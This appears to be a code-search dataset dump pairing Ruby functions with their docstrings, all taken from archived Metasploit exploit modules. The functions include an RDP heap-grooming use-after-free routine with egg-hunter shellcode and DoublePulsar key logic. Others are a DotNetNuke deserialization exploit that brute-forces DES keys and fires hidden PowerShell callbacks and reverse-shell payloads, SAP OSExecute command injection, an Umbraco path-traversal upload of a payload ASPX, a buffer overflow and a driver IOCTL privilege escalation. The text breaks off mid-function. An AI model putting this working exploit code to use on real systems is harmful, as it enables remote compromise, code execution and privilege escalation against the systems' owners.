code
stringlengths 26
124k
| docstring
stringlengths 23
125k
| func_name
stringlengths 1
98
| language
stringclasses 1
value | repo
stringlengths 5
53
| path
stringlengths 7
151
| url
stringlengths 50
211
| license
stringclasses 7
values |
---|---|---|---|---|---|---|---|
def on_new_session(cli)
print_warning('Make sure to manually cleanup the exe generated by the exploit')
super
end
|
it seems we don't really have a way to retrieve the filenames from the VBS command stager,
so we need to rely on the user to cleanup the files.
|
on_new_session
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/47073.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/47073.rb
|
MIT
|
def rdp_on_core_client_id_confirm(pkt, user, chan_id, flags, data)
# We have to do the default behaviour first.
super(pkt, user, chan_id, flags, data)
groom_size = datastore['GROOMSIZE']
pool_addr = target['GROOMBASE'] + (CHUNK_SIZE * 1024 * groom_size)
groom_chan_count = datastore['GROOMCHANNELCOUNT']
payloads = create_payloads(pool_addr)
print_status("Using CHUNK grooming strategy. Size #{groom_size}MB, target address 0x#{pool_addr.to_s(16)}, Channel count #{groom_chan_count}.")
target_channel_id = chan_id + 1
spray_buffer = create_exploit_channel_buffer(pool_addr)
spray_channel = rdp_create_channel_msg(self.rdp_user_id, target_channel_id, spray_buffer, 0, 0xFFFFFFF)
free_trigger = spray_channel * 20 + create_free_trigger(self.rdp_user_id, @mst120_chan_id) + spray_channel * 80
print_status("Surfing channels ...")
rdp_send(spray_channel * 1024)
rdp_send(free_trigger)
chan_surf_size = 0x421
spray_packets = (chan_surf_size / spray_channel.length) + [1, chan_surf_size % spray_channel.length].min
chan_surf_packet = spray_channel * spray_packets
chan_surf_count = chan_surf_size / spray_packets
chan_surf_count.times do
rdp_send(chan_surf_packet)
end
print_status("Lobbing eggs ...")
groom_mb = groom_size * 1024 / payloads.length
groom_mb.times do
tpkts = ''
for c in 0..groom_chan_count
payloads.each do |p|
tpkts += rdp_create_channel_msg(self.rdp_user_id, target_channel_id + c, p, 0, 0xFFFFFFF)
end
end
rdp_send(tpkts)
end
# Terminating and disconnecting forces the USE
print_status("Forcing the USE of FREE'd object ...")
rdp_terminate
rdp_disconnect
end
|
This function is invoked when the PAKID_CORE_CLIENTID_CONFIRM message is
received on a channel, and this is when we need to kick off our exploit.
|
rdp_on_core_client_id_confirm
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/47416.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/47416.rb
|
MIT
|
def create_payloads(pool_address)
begin
[kernel_mode_payload, user_mode_payload].map { |p|
[
pool_address + HEADER_SIZE + 0x10, # indirect call gadget, over this pointer + egg
p
].pack('<Qa*').ljust(CHUNK_SIZE - HEADER_SIZE, "\x00")
}
rescue => ex
print_error("#{ex.backtrace.join("\n")}: #{ex.message} (#{ex.class})")
end
end
|
Helper function to create the kernel mode payload and the usermode payload with
the egg hunter prefix.
|
create_payloads
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/47416.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/47416.rb
|
MIT
|
def user_mode_payload
asm = %Q^
_start:
lea rcx, [rel _start]
mov r8, 0x#{KERNELMODE_EGG.to_s(16)}
_egg_loop:
sub rcx, 0x#{CHUNK_SIZE.to_s(16)}
sub rax, 0x#{CHUNK_SIZE.to_s(16)}
mov rdx, [rcx - 8]
cmp rdx, r8
jnz _egg_loop
jmp rcx
^
egg_loop = assemble_with_fixups(asm)
# The USERMODE_EGG is required at the start as well, because the exploit code
# assumes the tag is there, and jumps over it to find the shellcode.
[
USERMODE_EGG,
egg_loop,
USERMODE_EGG,
payload.raw
].pack('<Qa*<Qa*')
end
|
The user mode payload has two parts. The first is an egg hunter that searches for
the kernel mode payload. The second part is the actual payload that's invoked in
user land (ie. it's injected into spoolsrv.exe). We need to spray both the kernel
and user mode payloads around the heap in different packets because we don't have
enough space to put them both in the same chunk. Given that code exec can result in
landing on the user land payload, the egg is used to go to a kernel payload.
|
user_mode_payload
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/47416.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/47416.rb
|
MIT
|
def calculate_doublepulsar_xor_key(s)
x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
x & 0xffffffff # this line was added just to truncate to 32 bits
end
|
algorithm to calculate the XOR Key for DoublePulsar knocks
|
calculate_doublepulsar_xor_key
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/47456.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/47456.rb
|
MIT
|
def calculate_doublepulsar_arch(s)
s == 0 ? ARCH_X86 : ARCH_X64
end
|
The arch is adjacent to the XOR key in the SMB signature
|
calculate_doublepulsar_arch
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/47456.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/47456.rb
|
MIT
|
def make_kernel_user_payload(ring3, proc_name)
sc = make_kernel_shellcode(proc_name)
sc << [ring3.length].pack("S<")
sc << ring3
sc
end
|
ring3 = user mode encoded payload
proc_name = process to inject APC into
|
make_kernel_user_payload
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/47456.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/47456.rb
|
MIT
|
def setup
# Reset the session counts to zero.
reset_session_counts
return if !payload_instance
return if !handler_enabled?
# Configure the payload handler
payload_instance.exploit_config = {
'active_timeout' => active_timeout
}
# payload handler is normally set up and started here
# but has been removed so we can start the handler when needed.
end
|
=================================
Overidden setup method to allow
for delayed handler start
=================================
|
setup
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/48336.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/48336.rb
|
MIT
|
def find_key(cipher_text)
print_status("Finding Key...")
# Counter
total_keys = @key_charset.length**8
i = 1
# Set start time
start = Time.now
# First char
@key_charset.each_byte do |a|
key = a.chr
# 2
@key_charset.each_byte do |b|
key[1] = b.chr
# 3
@key_charset.each_byte do |c|
key[2] = c.chr
# 4
@key_charset.each_byte do |d|
key[3] = d.chr
# 5
@key_charset.each_byte do |e|
key[4] = e.chr
# 6
@key_charset.each_byte do |f|
key[5] = f.chr
# 7
@key_charset.each_byte do |g|
key[6] = g.chr
# 8
@key_charset.each_byte do |h|
key[7] = h.chr
if decrypt_data_and_iv(@decryptor, cipher_text, String.new(key))
elapsed = Time.now - start
print_search_status(i, elapsed, total_keys)
print_line
if @target_idx == 4
print_good("Possible Base Key Value Found: " + key)
else
print_good("KEY Found: " + key)
print_good("IV Found: " + @passphrase[8..-1])
end
vprint_status(format("Total number of Keys tried: %<n_tried>d", n_tried: i))
vprint_status(format("Time to crack: %<c_time>.3f seconds", c_time: elapsed.to_s))
return String.new(key)
end
# Print timing info every 5 million attempts
if i % 5000000 == 0
print_search_status(i, Time.now - start, total_keys)
end
i += 1
end
end
end
end
end
end
end
end
elapsed = Time.now - start
print_search_status(i, elapsed, total_keys)
print_line
print_error("Key not found")
vprint_status(format("Total number of Keys tried: %<n_tried>d", n_tried: i))
vprint_status(format("Time run: %<r_time>.3f seconds", r_time: elapsed.to_s))
return nil
end
|
==============================
Known plaintext attack to
brute-force the encryption key
==============================
|
find_key
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/48336.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/48336.rb
|
MIT
|
def decrypt_data_and_iv(cipher, cipher_text, key)
cipher.key = key
begin
plaintext = cipher.update(cipher_text) + cipher.final
if @target_idx == 4
# Target is v9.2.2+
user_id = plaintext[8, @user_id_pt_length]
if @user_id_regex.match(user_id)
return true
end
return false
end
# This should only execute if the version is 9.1.1 - 9.2.1
iv = plaintext[0, 8]
if !@iv_regex.match(iv)
return false
end
# Build encryption passphrase as DNN does.
@passphrase = key + iv
# Encrypt the plaintext value using the discovered key and IV
# and compare with the initial ciphertext
if cipher_text == encrypt_data(@encryptor, @kpt, @passphrase)
@passphrases.push(String.new(key + iv))
return true
end
rescue StandardError
# Ignore decryption errors to allow execution to continue
return false
end
return false
end
|
==================================
Attempt to decrypt a ciphertext
and obtain the IV at the same time
==================================
|
decrypt_data_and_iv
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/48336.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/48336.rb
|
MIT
|
def encrypt_data(cipher, message, passphrase)
cipher.key = passphrase[0, 8]
cipher.iv = passphrase[8, 8]
return cipher.update(message) + cipher.final
end
|
===========================
Encrypt data using the same
pattern that DNN uses.
===========================
|
encrypt_data
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/48336.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/48336.rb
|
MIT
|
def generate_base_keys(pos, from_key, new_key)
if [email protected]? from_key[pos]
if from_key[pos] % 2 == 0
new_key[pos] = (from_key[pos] + 1).chr
else
new_key[pos] = (from_key[pos] - 1).chr
end
if new_key.length == 8
@possible_keys.add(String.new(new_key))
# also add key with original value
new_key[pos] = (from_key[pos]).chr
@possible_keys.add(String.new(new_key))
else
generate_base_keys(pos + 1, from_key, String.new(new_key))
# also generate keys with original value
new_key[pos] = (from_key[pos]).chr
generate_base_keys(pos + 1, from_key, String.new(new_key))
end
else
new_key[pos] = (from_key[pos]).chr
if new_key.length == 8
@possible_keys.add(String.new(new_key))
else
generate_base_keys(pos + 1, from_key, String.new(new_key))
end
end
end
|
===============================================
Generate all possible base key values
used to create the final passphrase in v9.2.2+.
DES weakness allows multiple bytes to be
interpreted as the same value.
===============================================
|
generate_base_keys
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/48336.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/48336.rb
|
MIT
|
def find_ivs(cipher_texts, key)
num_chars = 8 - @kpt.length
f8regex = /#{@kpt}[0-9a-f]{#{num_chars}}/
@decryptor.key = key
found_pt = @decryptor.update(cipher_texts[0]) + @decryptor.final
# Find all possible IVs for the first ciphertext
brute_force_ivs(String.new(@kpt), num_chars, cipher_texts[0], key, found_pt[8..-1])
# Reduce IV set by testing against other ciphertexts
cipher_texts.drop(1).each do |cipher_text|
@possible_ivs.each do |iv|
@decryptor.iv = iv
pt = @decryptor.update(cipher_text) + @decryptor.final
if !f8regex.match(pt[0, 8])
@possible_ivs.delete(iv)
end
end
end
end
|
==============================================
Find all possible base IV values
used to create the final Encryption passphrase
==============================================
|
find_ivs
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/48336.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/48336.rb
|
MIT
|
def brute_force_ivs(pt_prefix, num_chars_needed, cipher_text, key, found_pt)
charset = "0123456789abcdef"
if num_chars_needed == 0
@decryptor.key = key
@decryptor.iv = pt_prefix
pt = @decryptor.update(cipher_text) + @decryptor.final
iv = pt[0, 8]
if @iv_regex.match(iv)
pt = pt_prefix + found_pt
if encrypt_data(@encryptor, pt, key + iv) == cipher_text
@possible_ivs.add(String.new(iv))
end
end
return
end
charset.length.times do |i|
brute_force_ivs(String.new(pt_prefix + charset[i]), num_chars_needed - 1, cipher_text, key, found_pt)
end
end
|
==========================================
A recursive function to find all
possible valid IV values using brute-force
==========================================
|
brute_force_ivs
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/48336.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/48336.rb
|
MIT
|
def generate_payload_passphrases
phrases = Set.new(@passphrases)
@possible_keys.each do |key|
@possible_ivs.each do |iv|
phrase = Rex::Text.encode_base64(
encrypt_data(@encryptor, key + iv, key + iv)
)
phrases.add(String.new(phrase[0, 16]))
end
end
@passphrases = phrases.to_a
end
|
========================================
Generate all possible payload encryption
passphrases for a v9.2.2+ target
========================================
|
generate_payload_passphrases
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/48336.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/48336.rb
|
MIT
|
def test_passphrases
for i in [email protected] - 1
# Stop sending if we've found the passphrase
if [email protected]?
break
end
msg = format("Trying KEY and IV combination %<current>d of %<total>d...", current: i + 1, total: @passphrases.size)
print("\r%bld%blu[*]%clr #{msg}")
url = "#{get_uri}?#{get_resource.delete('/')}=#{i}"
payload = create_request_payload(url)
cookie = create_cookie(payload)
# Encrypt cookie value
enc_cookie = Rex::Text.encode_base64(
encrypt_data(@encryptor, cookie, @passphrases[i])
)
if @dry_run
print_line
print_warning("DryRun enabled. No exploit payloads have been sent to the target.")
print_warning("Printing first HTTP callback cookie payload encrypted with KEY: #{@passphrases[i][0, 8]} and IV: #{@passphrases[i][8, 8]}...")
print_line(enc_cookie)
break
end
execute_command(enc_cookie, host: datastore['RHOST'])
end
end
|
===========================================
Test all generated passphrases by initializing
an HTTP server to listen for a callback that
contains the index of the successful passphrase.
===========================================
|
test_passphrases
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/48336.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/48336.rb
|
MIT
|
def create_request_payload(url)
psh_cmd = "/b /c start /b /min powershell.exe -nop -w hidden -noni -Command \"Invoke-WebRequest '#{url}'\""
psh_cmd_bytes = psh_cmd.bytes.to_a
cmd_size_bytes = write_encoded_int(psh_cmd.length)
# Package payload into serialized object
payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end
object_size = write_encoded_int(payload_object.length)
# Create the final seralized ObjectStateFormatter payload
final_payload = @osf_header + object_size + payload_object
b64_payload = Rex::Text.encode_base64(final_payload.pack("C*"))
return b64_payload
end
|
==============================================
Create payload to callback to the HTTP server.
Note: This technically exploits the
vulnerability, but provides a way to determine
the valid passphrase needed to exploit again.
==============================================
|
create_request_payload
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/48336.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/48336.rb
|
MIT
|
def write_encoded_int(value)
enc = []
while (value >= 0x80)
v = value | 0x80
enc.push([v].pack("V")[0].unpack1("C*"))
value >>= 7
end
enc.push([value].pack("V")[0].unpack1("C*"))
return enc
end
|
=============================================
Reproduce the WriteEncoded method in
the native .NET ObjectStateFormatter.cs file.
=============================================
|
write_encoded_int
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/48336.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/48336.rb
|
MIT
|
def create_cookie(payload)
cookie = "<profile>"\
"<item key=\"k\" type=\"System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, "\
"System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],"\
"[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, "\
"Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, "\
"Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">"\
"<ExpandedWrapperOfObjectStateFormatterObjectDataProvider>"\
"<ProjectedProperty0>"\
"<MethodName>Deserialize</MethodName>"\
"<MethodParameters>"\
"<anyType xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\" "\
"xmlns:d=\"http://www.w3.org/2001/XMLSchema\" i:type=\"d:string\" "\
">#{payload}</anyType>"\
"</MethodParameters>"\
"<ObjectInstance xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\" "\
"i:type=\"ObjectStateFormatter\" />"\
"</ProjectedProperty0>"\
"</ExpandedWrapperOfObjectStateFormatterObjectDataProvider>"\
"</item>"\
"</profile>"
return cookie
end
|
=================================
Creates the payload cookie
using the specified payload
=================================
|
create_cookie
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/48336.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/48336.rb
|
MIT
|
def execute_command(cookie_payload, opts = { dnn_host: host, dnn_port: port })
uri = normalize_uri(target_uri.path)
res = send_request_cgi(
'uri' => uri,
'cookie' => ".DOTNETNUKE=#{@session_token};DNNPersonalization=#{cookie_payload};"
)
if !res
fail_with(Failure::Unreachable, "#{opts[:host]} - target unreachable.")
elsif res.code == 404
return true
elsif res.code == 400
fail_with(Failure::BadConfig, "#{opts[:host]} - payload resulted in a bad request - #{res.body}")
else
fail_with(Failure::Unknown, "#{opts[:host]} - Something went wrong- #{res.body}")
end
end
|
=========================================
Send the payload to the target server.
=========================================
|
execute_command
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/48336.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/48336.rb
|
MIT
|
def send_exploit_payload
cmd_payload = create_payload
cookie_payload = create_cookie(cmd_payload)
if @encrypted
if @passphrase.blank?
print_error("Target requires encrypted payload, but a passphrase was not found or specified.")
return
end
cookie_payload = Rex::Text.encode_base64(
encrypt_data(@encryptor, cookie_payload, @passphrase)
)
end
if @dry_run
print_warning("DryRun enabled. No exploit payloads have been sent to the target.")
print_warning("Printing exploit cookie payload...")
print_line(cookie_payload)
return
end
# Set up the payload handlers
payload_instance.setup_handler
# Start the payload handler
payload_instance.start_handler
print_status("Sending Exploit Payload to: #{normalize_uri(target_uri.path)} ...")
execute_command(cookie_payload, host: datastore['RHOST'])
end
|
======================================
Create and send final exploit payload
to obtain a reverse shell.
======================================
|
send_exploit_payload
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/48336.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/48336.rb
|
MIT
|
def create_payload
# Create payload
psh_cmd = "/b /c start /b /min " + cmd_psh_payload(
payload.encoded,
payload_instance.arch.first,
remove_comspec: true, encode_final_payload: false
)
psh_cmd_bytes = psh_cmd.bytes.to_a
cmd_size_bytes = write_encoded_int(psh_cmd.length)
# Package payload into serialized object
payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end
object_size = write_encoded_int(payload_object.length)
# Create the final seralized ObjectStateFormatter payload
final_payload = @osf_header + object_size + payload_object
b64_payload = Rex::Text.encode_base64(final_payload.pack("C*"))
vprint_status("Payload Object Created.")
return b64_payload
end
|
===================================
Create final exploit paylod based on
supplied payload options.
===================================
|
create_payload
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/48336.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/48336.rb
|
MIT
|
def execute_command(cmd, opts)
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
xs = 'http://www.w3.org/2001/XMLSchema'
sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
ns1 = 'ns1:OSExecute'
cmd_s = cmd.split("&") #Correct issue with multiple commands on a single line
if cmd_s.length > 1
print_status("Command Stager progress - Split final payload for delivery (#{cmd_s.length} sections)")
end
cmd_s = cmd_s.collect(&:strip)
cmd_s.each do |payload|
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
data << '<SOAP-ENV:Header>' + "\r\n"
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
data << '<enableSession>true</enableSession>' + "\r\n"
data << '</sapsess:Session>' + "\r\n"
data << '</SOAP-ENV:Header>' + "\r\n"
data << '<SOAP-ENV:Body>' + "\r\n"
data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"><command>cmd /c ' + payload.strip
data << '</command><async>0</async></' + ns1 + '>' + "\r\n"
data << '</SOAP-ENV:Body>' + "\r\n"
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
begin
res = send_request_raw({
'uri' => "/#{datastore['URI']}",
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Length' => data.length,
'SOAPAction' => '""',
'Authorization' => 'Basic ' + user_pass,
'Content-Type' => 'text/xml; charset=UTF-8',
}
}, 60)
if (res.code != 500 and res.code != 200)
print_error("[SAP] An unknown response was received from the server")
abort("Invlaid server response")
elsif res.code == 500
body = res.body
if body.match(/Invalid Credentials/i)
print_error("[SAP] The Supplied credentials are incorrect")
abort("Exploit not complete, check credentials")
elsif body.match(/Permission denied/i)
print_error("[SAP] The Supplied credentials are valid, but lack OSExecute permissions")
raise RuntimeError.new("Exploit not complete, check credentials")
end
end
rescue ::Rex::ConnectionError
print_error("[SAP] Unable to attempt authentication")
break
end
end
end
|
This is method required for the CmdStager to work...
|
execute_command
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/webapps/18032.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/webapps/18032.rb
|
MIT
|
def on_new_session(cli)
if cli.type != 'meterpreter'
print_error("Meterpreter not used. Please manually remove #{@upload_random + '.aspx'}")
return
end
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
begin
aspx = @upload_random + '.aspx'
print_status("#{@peer} - Searching: #{aspx}")
files = cli.fs.file.search("\\", aspx)
if not files or files.empty?
print_error("Unable to find #{aspx}. Please manually remove it.")
return
end
files.each { |f|
print_status("#{@peer} - Deleting: #{f['path'] + "\\" + f['name']}")
cli.fs.file.rm(f['path'] + "\\" + f['name'])
}
print_status("#{@peer} - #{aspx} deleted")
rescue ::Exception => e
print_error("Unable to delete #{aspx}: #{e.message}")
end
end
|
Remove the asmx if we get a meterpreter.
|
on_new_session
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/webapps/19671.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/webapps/19671.rb
|
MIT
|
def exploit
@peer = "#{rhost}:#{rport}"
# Generate the ASPX containing the EXE containing the payload
exe = generate_payload_exe
aspx = Msf::Util::EXE.to_exe_aspx(exe)
# htmlentities like encoding
aspx = aspx.gsub("&", "&").gsub("\"", """).gsub("'", "'").gsub("<", "<").gsub(">", ">")
uri_path = target_uri.path
uri_path.path << "/" if uri_path[-1, 1] != "/"
@upload_random = rand_text_alpha(rand(6) + 6)
soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SaveDLRScript xmlns="http://tempuri.org/">
<fileName>/..\\..\\..\\umbraco\\#{@upload_random}.aspx</fileName>
<oldName>string</oldName>
<fileContents>#{aspx}</fileContents>
<ignoreDebugging>1</ignoreDebugging>
</SaveDLRScript>
</soap:Body>
</soap:Envelope>
eos
#
# UPLOAD
#
attack_url = uri_path + "webservices/codeEditorSave.asmx"
print_status("#{@peer} - Uploading #{aspx.length} bytes through #{attack_url}...")
print_status("#{@peer} - Uploading to #{uri_path}#{@upload_random}.aspx")
res = send_request_cgi({
'uri' => attack_url,
'method' => 'POST',
'ctype' => 'text/xml; charset=utf-8',
'headers' => {
'SOAPAction' => "\"http://tempuri.org/SaveDLRScript\"",
},
'data' => soap,
}, 20)
if (! res)
print_status("#{@peer} - Timeout: Trying to execute the payload anyway")
elsif (res.code = 500 and res.body =~ /Cannot use a leading .. to exit above the top directory/)
print_status("#{@peer} - Got the expected 500 error code #{attack_url} [#{res.code} #{res.message}]")
else
print_status("#{@peer} - Didn't get the expected 500 error code #{attack_url} [#{res.code} #{res.message}]. Trying to execute the payload anyway")
end
#
# EXECUTE
#
upload_path = uri_path + "#{@upload_random}.aspx"
print_status("#{@peer} - Executing #{upload_path}...")
res = send_request_cgi({
'uri' => upload_path,
'method' => 'GET'
}, 20)
if (! res)
print_error("#{@peer} - Execution failed on #{upload_path} [No Response]")
return
end
if (res.code < 200 or res.code >= 300)
print_error("#{@peer} - Execution failed on #{upload_path} [#{res.code} #{res.message}]")
return
end
#
# 'DELETE' - note that the file will remain on the system, but the content will be wiped.
#
soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SaveDLRScript xmlns="http://tempuri.org/">
<fileName>/..\\..\\..\\umbraco\\#{@upload_random}.aspx</fileName>
<oldName>string</oldName>
<fileContents></fileContents>
<ignoreDebugging>1</ignoreDebugging>
</SaveDLRScript>
</soap:Body>
</soap:Envelope>
eos
attack_url = uri_path + "webservices/codeEditorSave.asmx"
print_status("#{@peer} - Writing #{aspx.length} bytes through #{attack_url}...")
print_status("#{@peer} - Wrting over #{uri_path}#{@upload_random}.aspx")
res = send_request_cgi({
'uri' => attack_url,
'method' => 'POST',
'ctype' => 'text/xml; charset=utf-8',
'headers' => {
'SOAPAction' => "\"http://tempuri.org/SaveDLRScript\"",
},
'data' => soap,
}, 20)
if (! res)
print_error("#{@peer} - Deletion failed at #{attack_url} [No Response]")
return
elsif (res.code = 500 and res.body =~ /Cannot use a leading .. to exit above the top directory/)
print_status("#{@peer} - Got the expected 500 error code #{attack_url} [#{res.code} #{res.message}]")
else
print_status("#{@peer} - Didn't get the code and message #{attack_url} [#{res.code} #{res.message}]")
end
handler
end
|
Module based heavily upon Juan Vazquez's 'landesk_thinkmanagement_upload_asp.rb'
|
exploit
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/webapps/19671.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/webapps/19671.rb
|
MIT
|
def exploit
connect
# bounce bounce bouncey bounce.. (our chunk gets free'd, so do a little dance)
# jmp 12
evul = "\xeb\x0c / HTTP/1.1 #{payload.encoded}\r\n"
evul << "Accept: text/html\r\n" * 31;
# jmp [esp+4]
evul << "\xff\x64\x24\x04\r\n"
evul << "\r\n"
sock.put(evul)
handler
disconnect
end
|
Interesting that ebp is pushed after the local variables, and the line array
is right before the saved eip, so overrunning it just by 1 element overwrites
eip, making an interesting exploit....
.text:00414C00 sub esp, 94h
.text:00414C06 push ebx
.text:00414C07 push ebp
.text:00414C08 push esi
|
exploit
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows_x86/remote/16763.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows_x86/remote/16763.rb
|
MIT
|
def exploit
if target_index == 0
targs = auto_target
print_status("Auto-targeting returned #{targs.length} candidates...")
targs.each_with_index { |targ, idx|
# Never try the debug target automatically :)
next if targ.name =~ /Debug/
exploit_target(targ)
}
else
exploit_target(target)
end
end
|
If auto, ask the auto_target function for a list of
targets to try...
If not auto, just try the selected target.
|
exploit
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows_x86/remote/16782.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows_x86/remote/16782.rb
|
MIT
|
def get_handle(pid)
handle = open_device("\\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
return nil unless handle
vprint_status('Successfully opened a handle to the driver')
buffer = [pid, 0].pack(target.arch.first == ARCH_X64 ? 'QQ' : 'LL')
session.railgun.add_function('ntdll', 'NtDeviceIoControlFile', 'DWORD',[
['DWORD', 'FileHandle', 'in' ],
['DWORD', 'Event', 'in' ],
['LPVOID', 'ApcRoutine', 'in' ],
['LPVOID', 'ApcContext', 'in' ],
['PDWORD', 'IoStatusBlock', 'out'],
['DWORD', 'IoControlCode', 'in' ],
['PBLOB', 'InputBuffer', 'in' ],
['DWORD', 'InputBufferLength', 'in' ],
['PBLOB', 'OutputBuffer', 'out'],
['DWORD', 'OutputBufferLength', 'in' ],
])
result = session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a050, buffer, buffer.length, buffer.length, buffer.length)
return nil if result['return'] != 0
session.railgun.kernel32.CloseHandle(handle)
result['OutputBuffer'].unpack(target.arch.first == ARCH_X64 ? 'QQ' : 'LL')[1]
end
|
this is where the actual vulnerability is leveraged
|
get_handle
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows_x86-64/local/42368.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows_x86-64/local/42368.rb
|
MIT
|
def exploit
connect
# bounce bounce bouncey bounce.. (our chunk gets free'd, so do a little dance)
# jmp 12
evul = "\xeb\x0c / HTTP/1.1 #{payload.encoded}\r\n"
evul << "Accept: text/html\r\n" * 31;
# jmp [esp+4]
evul << "\xff\x64\x24\x04\r\n"
evul << "\r\n"
sock.put(evul)
handler
disconnect
end
|
Interesting that ebp is pushed after the local variables, and the line array
is right before the saved eip, so overrunning it just by 1 element overwrites
eip, making an interesting exploit....
.text:00414C00 sub esp, 94h
.text:00414C06 push ebx
.text:00414C07 push ebp
.text:00414C08 push esi
|
exploit
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/win_x86/remote/16763.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/win_x86/remote/16763.rb
|
MIT
|
def exploit
if target_index == 0
targs = auto_target
